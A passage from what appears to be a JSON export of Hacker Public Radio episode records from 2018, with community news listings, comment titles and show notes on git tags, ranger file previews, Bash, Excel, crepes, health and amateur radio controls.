                                                              • Comment 1:\nclacke on 2018-08-04:\n\"Thank you!\"

                                                              \n
                                                            • hpr2611\n(2018-08-06) \"HPR Community News for July 2018\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2018-08-06:\n\"In case there was any doubt.\"

                                                              \n
                                                            • hpr2612\n(2018-08-07) \"Liverpool Makefest 2018 - interview with Joe aka Concrete Dog\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSteve on 2018-08-07:\n\"Rockets!\"
                                                              • Comment 2:\nTony Hughes on 2018-08-09:\n\"Comment 1\"

                                                              \n
                                                            • hpr2613\n(2018-08-08) \"Quick Awk Tip\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2018-08-12:\n\"Thanks for this\"

                                                              \n
                                                            • hpr2614\n(2018-08-09) \"My 1948 Truetone D1835 Tube Radio\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nhammerron on 2018-08-09:\n\"Tube Radio Show\"
                                                              • Comment 2:\nJon Kulp on 2018-08-11:\n\"Tube clock radios\"

                                                              \n
                                                            • hpr2615\n(2018-08-10) \"Cancer\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2018-08-11:\n\"Thank you.\"

                                                              \n
                                                            • hpr2617\n(2018-08-14) \"Exposing a Raspberry Pi database through a REST API\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen on 2018-08-14:\n\"Where is the script\"

                                                              \n
                                                            • hpr2618\n(2018-08-15) \"Yesod - First Impressions\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2018-08-15:\n\"Looking into this\"

                                                              \n
                                                            • hpr2619\n(2018-08-16) \"A Gentle Introduction to Quilt\"\nby bjb.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2620\n(2018-08-17) \"Thoughts on language learning part 1\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbaffled on 2018-08-22:\n\"Nice show\"
                                                              • Comment 2:\ndodddummy on 2018-08-24:\n\"I have 2, do I hear 3?\"

                                                              \n
                                                            • hpr2622\n(2018-08-21) \"Raspberry Pi Temperaturator\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-08-27:\n\"Why is there no cute warning on this episode\"
                                                              • Comment 2:\ndodddummy on 2018-08-30:\n\"Cuter than a box of puppies or kittens\"

                                                              \n
                                                            • hpr2624\n(2018-08-23) \"Cycling through Brussels\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2018-08-22:\n\"Fantastic\"

                                                              \n
                                                            • hpr2627\n(2018-08-28) \"Home Phone Setup!!\"\nby sigflup.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2018-08-27:\n\"Definition of hacking!\"
                                                              • Comment 2:\nMr. Young on 2018-08-28:\n\"My sentiments exactly\"
                                                              • Comment 3:\njezra on 2018-08-29:\n\"Absolutely spectacular\"
                                                              • Comment 4:\ndodddummy on 2018-08-30:\n\"Scream, Yell, "Bravo!", also, this is called A Show\"
                                                              • Comment 5:\nMike Ray on 2018-08-30:\n\"Stoop?\"

                                                              \n
                                                            • hpr2628\n(2018-08-29) \"UK Telephone Network Exploration\"\nby Xtrato.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2018-08-30:\n\"Memories\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-August/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to bjb and possible future host baffled for sending in updates in the past month.

                                                            \n

                                                            Over the period tags and/or summaries have been added to 9 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2632,"date":"2018-09-04","title":"Liverpool Makefest 2018 - interviews with Robert and Carl","duration":376,"summary":"In this episode I talk to Robert from Roberts Workshop and Carl from Edgehill University","notes":"

                                                            In this episode I talk to Robert from Roberts Workshop and Carl from Edgehill University

                                                            \n

                                                            \n\n

                                                            \n\n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018, computing, young coders, hackers, makers, crafts","version":0,"downloads":0,"valid":1}, {"id":2633,"date":"2018-09-05","title":"Elm - First Impressions","duration":1819,"summary":"My first impressions on Elm programming language","notes":"\n","hostid":364,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"elm, first impressions, programming language","version":0,"downloads":0,"valid":1}, {"id":2634,"date":"2018-09-06","title":"Git tag and metadata","duration":1149,"summary":"An intro to git tags and how to view metadata about your Git repository.","notes":"

                                                            Tag a commit:

                                                            \n\n
                                                            \n$ git tag 0.1\n$ git tag\n0.1\n
                                                            \n\n

                                                            \nDelete a tag:\n

                                                            \n\n
                                                            \n$ git tag -d 0.1\n
                                                            \n\n

                                                            \nGet the latest commit hash:\n

                                                            \n\n
                                                            \n$ git rev-list --tags --max-count=1\n94c5715694c5715687a962008dd71191460fc4e32370425a\n
                                                            \n\n

                                                            \nGet any tag on a commit:\n

                                                            \n\n
                                                            \n$ git describe --tags 94c5715\n0.1\n
                                                            \n\n","hostid":78,"series":104,"explicit":0,"license":"CC-BY-SA","tags":"git","version":0,"downloads":0,"valid":1}, {"id":2635,"date":"2018-09-07","title":"Running your own mainframe on Linux (for fun and profit)","duration":3321,"summary":"This talk is about running your own mainframe on your own hardware.","notes":"

                                                            Yes, this talk is about running your own mainframe on your own hardware. Mainframes are old, yes, but they are still very much alive. New hardware is still being developed and there are a lot of fresh jobs in this area too. A lot of mainframes run COBOL workloads. COBOL is far from a dead language. It processes an estimated 85% of all business transactions, and 5 billion lines of new COBOL code are written every year. In this session the speaker will help you in take your first steps towards running your own mainframe. If you like then after this session you can continue to build your knowledge of mainframe systems using the links provided during the talk. Come on in and learn the basics of a completely different computer system! And it will take you less than an hour to do that!

                                                            ","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hercules,linux","version":0,"downloads":0,"valid":1}, {"id":2636,"date":"2018-09-10","title":"Liverpool Makefest 2018 - interviews with Noel from JMU FabLab","duration":603,"summary":"In this episode I talk to Noel Baker from the JMU FabLab.","notes":"

                                                            In this episode I talk to Noel Baker from the JMU FabLab.

                                                            \n

                                                            \n\n

                                                            \n\n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018, Making, hacking, creativity","version":0,"downloads":0,"valid":1}, {"id":2637,"date":"2018-09-11","title":"Convert it to Text","duration":981,"summary":"This episode will make you want to TXT all the things.","notes":"

                                                            Why use plain text?

                                                            \n
                                                              \n
                                                            • Portability
                                                            • \n
                                                            • Use with Unix tools
                                                            • \n
                                                            • Use with Ranger
                                                            • \n
                                                            \n

                                                            Ranger for the win

                                                            \n
                                                              \n
                                                            • Ranger is a free console file manager that gives you greater flexibility and a good overview of your files without having to leave your *nix console. It visualizes the directory tree in two dimensions: the directory hierarchy on one, lists of files on the other, with a preview to the right so you know where you’ll be going.
                                                            • \n
                                                            • The scope functionality is where converting to text pays off. Located at $HOME/.config/ranger/scope.sh, scope is the feature that allows for file preview from inside the console. Text files are highlighted based on their file extension, for non-text files, different converters can be used to coerce the file into a text representation. Some items are available out of the box, but the configuration is written in such a way that any text can be presented in the preview screen.
                                                            • \n
                                                            • The basic format of the scope switch statement is as follows:
                                                            • \n
                                                            \n
                                                            case "$extension" in\n    odt|odp)\n        try odt2txt "$path" && { dump | trim | fmt -s -w $width; exit 0; };;
                                                            \n

                                                            Tools in the toolset

                                                            \n
                                                              \n
                                                            • atool
                                                            • \n
                                                            • caca-utils
                                                            • \n
                                                            • poppler-utils
                                                            • \n
                                                            • catdoc
                                                            • \n
                                                            • catppt
                                                            • \n
                                                            • odt2txt
                                                            • \n
                                                            • ods2tsv
                                                            • \n
                                                            • docx2txt
                                                            • \n
                                                            • xlsx2csv
                                                            • \n
                                                            • mediainfo
                                                            • \n
                                                            • lynx/w3m/elinks
                                                            • \n
                                                            • highlight
                                                            • \n
                                                            \n

                                                            Bonus tools

                                                            \n
                                                              \n
                                                            • q
                                                            • \n
                                                            • jq
                                                            • \n
                                                            • xmlstarlet
                                                            • \n
                                                            \n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Unix,text,portability,ranger","version":0,"downloads":0,"valid":1}, {"id":2638,"date":"2018-09-12","title":"Dirt cheap Magic","duration":2410,"summary":"Magic the Gathering for cheapskates","notes":"

                                                            In this episode, Klaatu talks about playing Magic: The Gathering for cheap.\n

                                                            \n\n

                                                            \nSee rpggeek.com/thread/532036/how-build-deck-magic-gathering by Eric Jome for a good deck building formula.\n

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"magic,mtg","version":0,"downloads":0,"valid":1}, {"id":2639,"date":"2018-09-13","title":"Some ancillary Bash tips - 9","duration":1305,"summary":"Making decisions in Bash (part 1)","notes":"

                                                            Some ancillary Bash tips - 9

                                                            \n

                                                            Making decisions in Bash

                                                            \n

                                                            This is my ninth contribution to the Bash Scripting series under the heading of Bash Tips. The previous episodes are listed below in the Links section.

                                                            \n

                                                            It seems to me that it would be worthwhile looking at how Bash can be used to make decisions, such as how many times a loop should cycle (looping constructs) or to choose between multiple choices (conditional constructs). Of course we need to look at some of the expressions used in conjunction with the commands that do these tasks – the tests themselves – and we’ll do this in this episode.

                                                            \n

                                                            This is a complex area which I had some trouble with when I first started using Bash, and there is a lot to say about it all. I have prepared a group of HPR shows about this subject, in order to do it justice, and this is the first of the group.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,test,true,false","version":0,"downloads":0,"valid":1}, {"id":2640,"date":"2018-09-14","title":"Another Rambling Drive Into Work","duration":835,"summary":"An second attempt at making a show on the way into work","notes":"

                                                            It’s been a while since I posted my first attempt at recording a show in my car, this attempt was recorded not that long after that but I’d forgotten to post it, hopefully, it’s not too boring.

                                                            \n

                                                            This is the previously mentioned dictation device I used
                                                            \nhttps://www.amazon.co.uk/HccToo-Multifunctional-Rechargeable-Dictaphone-Conversation/dp/B015H9JP6S/ref=sr_1_1?ie=UTF8&qid=1502381150&sr=8-1&keywords=dictation+machines

                                                            \n

                                                            An article that explains how to remove noise using Audacity, which was what dodddummy was talking about when he commented on my first show on HPR2377 https://www.podfeet.com/blog/recording/how-to-remove-noise-with-audacity/

                                                            \n

                                                            Link to Dave’s (thelovebug) page and the original John Kulp’s $2 microphone show that kicked all this off. Looking forward to getting a chance to catch up with Dave’s drive into work show. Refer to Dave’s episode HPR2400 and John Kulp’s original $2 microphone show HPR1812

                                                            \n

                                                            Link to the microphone originally recommended By John Kulp
                                                            \nhttps://www.amazon.co.uk/Neewer-3-5mm-Hands-Computer-Microphone/dp/B005DOTSM4/

                                                            \n

                                                            A link from StackExchange that details the wiring diagram for Kenwood style microphone used in many portable Amateur radios
                                                            \nhttps://ham.stackexchange.com/questions/1891/whats-the-pinout-for-kenwood-2-5mm-trs-3-5-mm-trs-connector

                                                            \n

                                                            This is a small article in Wikipedia that covers the Electret Microphone which is the type used in the microphone recommended by John Kulp, Dave (thelovebug) and now me.
                                                            \nhttps://en.wikipedia.org/wiki/Electret_microphone

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"recording, podcasting, audio, microphone, car, Audacity","version":0,"downloads":0,"valid":1}, {"id":2641,"date":"2018-09-17","title":"Liverpool Makefest 2018 - interview with Rachel from the MicroBit Foundation","duration":564,"summary":"This is a short interview recorded at this years Liverpool Makefest with Rachel from MicroBit","notes":"

                                                            In this episode I talk to Rachel Lancaster from the Micro:Bit foundation.

                                                            \n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018, computing, young coders, hackers, makers, crafts, microbit","version":0,"downloads":0,"valid":1}, {"id":2642,"date":"2018-09-18","title":"My swedish and german Podcasts Part 2","duration":318,"summary":"I talk about 6 more podcasts in swedish and german. This time no radio network involved.","notes":"\n","hostid":309,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"podcast,swedish,german,ccc","version":0,"downloads":0,"valid":1}, {"id":2643,"date":"2018-09-19","title":"The Payoff In Storytelling","duration":677,"summary":"A brief look at the emotional structure of story endings.","notes":"

                                                            Lostnbronx takes a quick look at how story endings need to be structured in order to be satisfying. Lots of endings are possible, but they don’t all require the same treatment. Some can be abrupt, some can be sad, but all of them need to meet certain emotional expectations.

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-0","tags":"stories,storytelling,endings,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2644,"date":"2018-09-20","title":"Error on show 2642","duration":59,"summary":"Error error","notes":"

                                                            The right podcast is:

                                                            \n","hostid":309,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcast, swedish, correction","version":0,"downloads":0,"valid":1}, {"id":2645,"date":"2018-09-21","title":"Blinking LED","duration":1390,"summary":"In this live show, Ken sees if he can follow simple instructions","notes":"

                                                            \nDuring the New Year Show Ken soldered a component tester. Unfortunately this did not work. \n

                                                            \n

                                                            \nNYBill offered to fix it and he succeeded in his show hpr2591 :: International Troubleshooting. When he shipped it back he included two 555 timers with the message: Now, figure out how to make LED's blink\nwith those 555's! \n

                                                            \n

                                                            \n\nIn this show Ken uses the online guide FLASHING L.E.D. USING 555 TIMER By Trilesto to do this. \n

                                                            ","hostid":30,"series":103,"explicit":1,"license":"CC-BY-NC-SA","tags":"555, NYBill, pico, nano","version":0,"downloads":0,"valid":1}, {"id":2646,"date":"2018-09-24","title":"Liverpool Makefest 2018 - Interview with Steve and Gerrard from the Liverpool Astronomical society.","duration":355,"summary":"In this Episode I talk to Steve and Gerrard from the Liverpool Astronomical society.","notes":"

                                                            In this episode I talk to Steve and Gerard from the Liverpool Astronomical society.

                                                            \n\n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018, Astronomy, History, Science","version":0,"downloads":0,"valid":1}, {"id":2647,"date":"2018-09-25","title":"More Quick Tips","duration":1010,"summary":"More Quick Tips For July - Only Key and Nerf Guns","notes":"

                                                            https://onlykey.io/collections/all/products/onlykey-color-secure-password-manager-and-2-factor-token-u2f-yubikey-otp-google-auth-make-password-hacking-obsolete?variant=469626486828

                                                            \n

                                                            Nerf

                                                            \n\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Nerf gun,dart,OnlyKey,password","version":0,"downloads":0,"valid":1}, {"id":2648,"date":"2018-09-26","title":"Explaining the controls on my Amateur HF Radio Part 1","duration":1646,"summary":"I attempt to explain the controls on my Kenwood TS940S HF Amateur Radio.","notes":"

                                                            In this episode, I cover the transmit section controls.

                                                            \n\n\n

                                                            Further info and clarification

                                                            \n

                                                            Below I’ll cover some of the items I missed or didn’t understand when I recorded my off the cuff episode. If I miss something you may find it in the user manual link above.

                                                            \n

                                                            Full and Semi break-in mode is used when operating in CW mode (Morse Code). In full break-in mode the radio jumps back into receive the moment the mores key is released this way you can hear if the station is trying to contact in-between each press of the key. This is very demanding on the radio as it must switch very quickly back into receive mode it can also be distracting for the operator hearing hissing noise between each dot and dash. Semi break-in mode is a bit like using VOX mode in speech the radio goes silent between each dot and dash but will return to receive after the mores key is released for a predetermined time interval.

                                                            \n

                                                            The digital display used on the main display of the TS940S is apparently a Vacuum Fluorescent Display not the more usual LED of the time.

                                                            \n

                                                            The TS 940S was manufactured around 1986, so unbelievably that means my wonderful radio that to me looks fairly modern is around 30 years Old! I believe this HF radio was top of the line for Kenwood back then.

                                                            \n

                                                            The Auto and thru button is used to connect the auto tuner in line with the antenna. When AUTO is selected the radio is connected to the Auto internal tuner and then to the antenna. In THRU the radio bypasses the auto tuner and connects the radio directly to the antenna.

                                                            \n

                                                            The Speech Compressor

                                                            \n

                                                            During SSB operation it is desirable to increase the relative “talk power” of the transceiver by using speech processor circuitry. The speech processor control is set by using the in and out rotary control. The in control level is set by putting the meter into Comp and adjusting the in control to no more than 10 dB of compression. The out control level is set by putting the meter into ALC and adjusting the out control to ensure the meter stays within the ALC section of the meter.

                                                            \n

                                                            IC meter position indicates the power transistor collector current

                                                            \n

                                                            VC meter position indicates the power transistor collector voltage

                                                            \n

                                                            Noise Blanker 1 (NB1)
                                                            \nFor pulse type noise, such as generated by automatic ignition systems.

                                                            \n

                                                            Noise Blanker 2 (NB2)
                                                            \nFor long duration pulse noise, like the Russian woodpecker.

                                                            ","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur, Radio, Ham","version":0,"downloads":0,"valid":1}, {"id":2649,"date":"2018-09-27","title":"More ancillary Bash tips - 10","duration":1372,"summary":"Making decisions in Bash (part 2)","notes":"

                                                            More ancillary Bash tips - 10

                                                            \n

                                                            Making decisions in Bash

                                                            \n

                                                            This is my tenth contribution to the Bash Scripting series under the heading of Bash Tips. The previous episodes are listed below in the Links section.

                                                            \n

                                                            We are currently looking at decision making in Bash, and in the last episode we examined the tests themselves. In this episode we’ll look at the constructs that use these tests: looping constructs, conditional constructs and lists of commands.

                                                            \n

                                                            Note: this episode and the preceding one were originally recorded as a single episode, but because it was so long it was split into two. As a consequence the audio contains references to examples such as bash9_ex2.sh where the true name is bash10_ex1.sh. The notes have been updated as necessary but not the audio.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,test,while,until,if,case","version":0,"downloads":0,"valid":1}, {"id":2650,"date":"2018-09-28","title":"My Pocket Knife","duration":505,"summary":"Shane talks about his pocket knife for a few minutes.","notes":"

                                                            \nThe pocket knife Shane talks about is the Number 6 knife made by the French company Opinel, It costs about $20 (Canadian). This version has a walnut handle.\n

                                                            \n

                                                            \n\n\"Opinel\n\n

                                                            \n","hostid":250,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"lock knife,Opinel knife","version":0,"downloads":0,"valid":1}, {"id":2651,"date":"2018-10-01","title":"HPR Community News for September 2018","duration":4790,"summary":"HPR Volunteers talk about shows released and comments posted in September 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Jeroen Baten.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2631Mon2018-09-03HPR Community News for August 2018HPR Volunteers
                                                            2632Tue2018-09-04Liverpool Makefest 2018 - interviews with Robert and CarlTony Hughes AKA TonyH1212
                                                            2633Wed2018-09-05Elm - First ImpressionsTuula
                                                            2634Thu2018-09-06Git tag and metadataklaatu
                                                            2635Fri2018-09-07Running your own mainframe on Linux (for fun and profit)Jeroen Baten
                                                            2636Mon2018-09-10Liverpool Makefest 2018 - interviews with Noel from JMU FabLabTony Hughes AKA TonyH1212
                                                            2637Tue2018-09-11Convert it to TextMr. Young
                                                            2638Wed2018-09-12Dirt cheap Magicklaatu
                                                            2639Thu2018-09-13Some ancillary Bash tips - 9Dave Morriss
                                                            2640Fri2018-09-14Another Rambling Drive Into WorkMrX
                                                            2641Mon2018-09-17Liverpool Makefest 2018 - interview with Rachel from the MicroBit FoundationTony Hughes AKA TonyH1212
                                                            2642Tue2018-09-18My swedish and german Podcasts Part 2folky
                                                            2643Wed2018-09-19The Payoff In Storytellinglostnbronx
                                                            2644Thu2018-09-20Error on show 2642folky
                                                            2645Fri2018-09-21Blinking LEDKen Fallon
                                                            2646Mon2018-09-24Liverpool Makefest 2018 - Interview with Steve and Gerrard from the Liverpool Astronomical society.Tony Hughes AKA TonyH1212
                                                            2647Tue2018-09-25More Quick Tipsoperat0r
                                                            2648Wed2018-09-26Explaining the controls on my Amateur HF Radio Part 1MrX
                                                            2649Thu2018-09-27More ancillary Bash tips - 10Dave Morriss
                                                            2650Fri2018-09-28My Pocket KnifeShane Shennan
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 29 comments in total.

                                                            \n

                                                            There are 9 comments on\n8 previous shows:

                                                            \n
                                                            • hpr1512\n(2014-05-20) \"Adopting and Renovating a Public-Domain Counterpoint Textbook\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKen Fallon on 2018-09-30:\n\"Ahhh so that's what counterpoint is.\"

                                                              \n
                                                            • hpr1919\n(2015-12-10) \"DerbyCon Interview with Paul Koblitz\"\nby Xoke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nCarpet Muncher on 2018-09-09:\n\":)\"

                                                              \n
                                                            • hpr2549\n(2018-05-10) \"DVD ripping using old hardware\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\narcher72 on 2018-09-04:\n\"Change to code location\"

                                                              \n
                                                            • hpr2557\n(2018-05-22) \"Styx -- The Purely Functional Static Site Generator\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nclacke on 2018-09-17:\n\"Update re: TOML in Nix\"

                                                              \n
                                                            • hpr2615\n(2018-08-10) \"Cancer\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nA person on 2018-09-09:\n\"Thankyou\"

                                                              \n
                                                            • hpr2624\n(2018-08-23) \"Cycling through Brussels\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nbaffled on 2018-09-03:\n\"Very nice.\"

                                                              \n
                                                            • hpr2625\n(2018-08-24) \"My thoughts on language learning communication applications.\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nclacke on 2018-09-19:\n\"Accordion outro\"
                                                              • \n
                                                              • \nComment 2:\nclacke on 2018-09-19:\n\"Interesting idea\"

                                                              \n
                                                            • hpr2627\n(2018-08-28) \"Home Phone Setup!!\"\nby sigflup.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 6:\nBrenda J. Butler on 2018-08-31:\n\"stoop\"

                                                              \n
                                                            \n

                                                            There are 20 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr2631\n(2018-09-03) \"HPR Community News for August 2018\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbaffled on 2018-09-03:\n\"Cool show.\"
                                                              • Comment 2:\nbaffled on 2018-09-03:\n\"Cool show.\"

                                                              \n
                                                            • hpr2635\n(2018-09-07) \"Running your own mainframe on Linux (for fun and profit)\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2018-09-01:\n\"This is embarrassing\"
                                                              • Comment 2:\nGavtres on 2018-09-07:\n\"Memories...\"

                                                              \n
                                                            • hpr2637\n(2018-09-11) \"Convert it to Text\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-09-12:\n\"WOW\"
                                                              • Comment 2:\nBeeza on 2018-09-14:\n\"Value of text conversion\"
                                                              • Comment 3:\nJonas on 2018-09-15:\n\"Ranger, etc.\"
                                                              • Comment 4:\nDave Morriss on 2018-09-15:\n\"Great show\"
                                                              • Comment 5:\nclacke on 2018-09-19:\n\"Q\"

                                                              \n
                                                            • hpr2639\n(2018-09-13) \"Some ancillary Bash tips - 9\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen on 2018-09-13:\n\"Ahhhhhh\"
                                                              • Comment 2:\njohanv on 2018-09-21:\n\"Really interesting\"
                                                              • Comment 3:\nDave Morriss on 2018-09-21:\n\"Thanks for the feedback\"

                                                              \n
                                                            • hpr2640\n(2018-09-14) \"Another Rambling Drive Into Work\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nthelovebug on 2018-09-19:\n\"Audio quality\"

                                                              \n
                                                            • hpr2644\n(2018-09-20) \"Error on show 2642\"\nby folky.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-09-19:\n\"Ken loves you\"
                                                              • Comment 2:\nclacke on 2018-09-19:\n\"Re: Kvalificerat hemligt\"
                                                              • Comment 3:\nfolky on 2018-09-23:\n\"Rere: Kvalificerat hemligt\"

                                                              \n
                                                            • hpr2645\n(2018-09-21) \"Blinking LED\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNYbill on 2018-09-21:\n\"Nice!\"
                                                              • Comment 2:\nTuula on 2018-09-21:\n\"great show\"

                                                              \n
                                                            • hpr2648\n(2018-09-26) \"Explaining the controls on my Amateur HF Radio Part 1\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNYbill on 2018-09-28:\n\"Thanks pal\"

                                                              \n
                                                            • hpr2650\n(2018-09-28) \"My Pocket Knife\"\nby Shane Shennan.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-09-27:\n\"Milkbag wtf\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-September/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to windigo and Otto Localhorst for sending in updates in the past month.

                                                            \n

                                                            Over the period tags and/or summaries have been added to 23 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2652,"date":"2018-10-02","title":"Liverpool Makefest 2018 - Interview with Caroline and John","duration":440,"summary":"This is the final interview from this years Liverpool Makefest","notes":"

                                                            This is the final interview from this years Makefest in Liverpool. In this interview I interview one of the founder members of Makefest, Caroline Keep, and the Head Teacher of the school where she works, John Carling.

                                                            \n

                                                            https://lpoolmakefest.org/

                                                            \n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018, computing, young coders, hackers, makers, crafts","version":0,"downloads":0,"valid":1}, {"id":2653,"date":"2018-10-03","title":"Using the EXACT Function in Excel","duration":199,"summary":"Shane explains that he just learned a simple and useful Excel function.","notes":"

                                                            The function looks like =EXACT(A1,D1) and its purpose is to tell you if A1 contains the exact same value as D1 or not.

                                                            \n","hostid":250,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Excel","version":0,"downloads":0,"valid":1}, {"id":2654,"date":"2018-10-04","title":"Making Crepes","duration":767,"summary":"Shane makes crepes from a simple recipe. ","notes":"

                                                            Crepe Recipe:

                                                            \n
                                                              \n
                                                            • 1 cup of flour
                                                            • \n
                                                            • 1 cup of milk
                                                            • \n
                                                            • 1 egg
                                                            • \n
                                                            • 1 pinch of salt
                                                            • \n
                                                            \n

                                                            Cinnamon Sugar Mixture Recipe:

                                                            \n
                                                              \n
                                                            • 1 part cinnamon (or less)
                                                            • \n
                                                            • 8 parts sugar
                                                            • \n
                                                            \n","hostid":250,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"crepes, cooking, parenting","version":0,"downloads":0,"valid":1}, {"id":2655,"date":"2018-10-05","title":"Sleep Apnea and Afib","duration":705,"summary":"How Sleep Apnea and Atrial Fibrillation entered my life","notes":"

                                                            The last of my personal health issue shows covers two related issues, Sleep Apnea and Atrial Fibrillation. They are related because Sleep Apnea is a cause of Atrial Fibrillation. Fortunately both can be controlled if you follow medical directions.

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Apnea, Heart, Afib, Atrial Fibrillation","version":0,"downloads":0,"valid":1}, {"id":2656,"date":"2018-10-08","title":"Explaining the controls on my Amateur HF Radio Part 2","duration":844,"summary":"In this episode I cover the mode and frequency selection controls of my Kenwood TS 940S","notes":"

                                                            Radio Mode and frequency controls on Amateur HF Radio TS940S

                                                            \n\n

